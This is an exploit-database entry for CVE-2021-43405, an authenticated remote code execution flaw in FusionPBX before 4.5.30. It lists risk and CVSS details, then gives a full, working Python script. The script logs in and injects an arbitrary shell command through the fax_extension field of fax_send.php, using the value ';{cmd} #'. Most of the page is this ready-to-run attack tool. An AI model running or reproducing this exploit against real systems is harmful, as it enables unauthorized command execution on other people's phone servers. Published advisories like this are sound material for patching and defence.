FusionPBX 4.5.29 Remote Code Execution

2021.11.09
Credit: Luska
Risk: High
Local: No
Remote: Yes
CWE: CWE-20


CVSS Base Score: 6.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8/10
Exploit range: Remote
Attack complexity: Low
Authentication: Single time
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

# Exploit Title: FusionPBX 4.5.29 - Remote Code Execution (RCE) (Authenticated) # Date: 11/08/2021 # Exploit Author: Luska # Vendor Homepage: https://www.fusionpbx.com/ # Software Link: https://github.com/fusionpbx/fusionpbx # Version: < 4.5.30 # Tested on: Debian # CVE : CVE-2021-43405 #!/usr/bin/python3 import requests from requests_toolbelt.multipart.encoder import MultipartEncoder import argparse cookies = {'PHPSESSID': '31337'} proxy = {'http': 'http://127.0.0.1:8080'} def login(url, username, password): data = { 'username': username, 'password': password } r = requests.post(url + '/core/user_settings/user_dashboard.php', data=data, cookies=cookies) return r.status_code def exploit_request(url, cmd): print('[+] Sending Exploit Request') mp_encoder = MultipartEncoder(fields={ 'fax_subject': '1337', 'fax_extension': f';{cmd} #', 'action': 'send', 'submit': 'send' }) r = requests.post(url + '/app/fax/fax_send.php', cookies=cookies, headers={'Content-Type': mp_encoder.content_type}, data=mp_encoder, proxies=proxy) return r.status_code def exploit(url, username, password, cmd): if login(url,username,password) == 200: print('[+] Login Successful') exploit_request(url, cmd) print('[+] Exploit Sucessful') else: print('[-] Login Failed') if __name__ == '__main__': parser = argparse.ArgumentParser(description='[*] FusionPBX < 4.5.30 Remote Code Execution | CVE-2021-43405') parser.add_argument('-t', metavar='<target/host URL>', help='Target/host URL, example: http://127.0.0.1', required=True) parser.add_argument('-u', metavar='<user>', help='User to login', required=True) parser.add_argument('-p', metavar='<password>', help='User\'s password', required=True) parser.add_argument('-c', metavar='<cmd>', help='Command to be executed', required=True) args = parser.parse_args() target = args.t user = args.u password = args.p cmd = args.c exploit(target, user, password, cmd)


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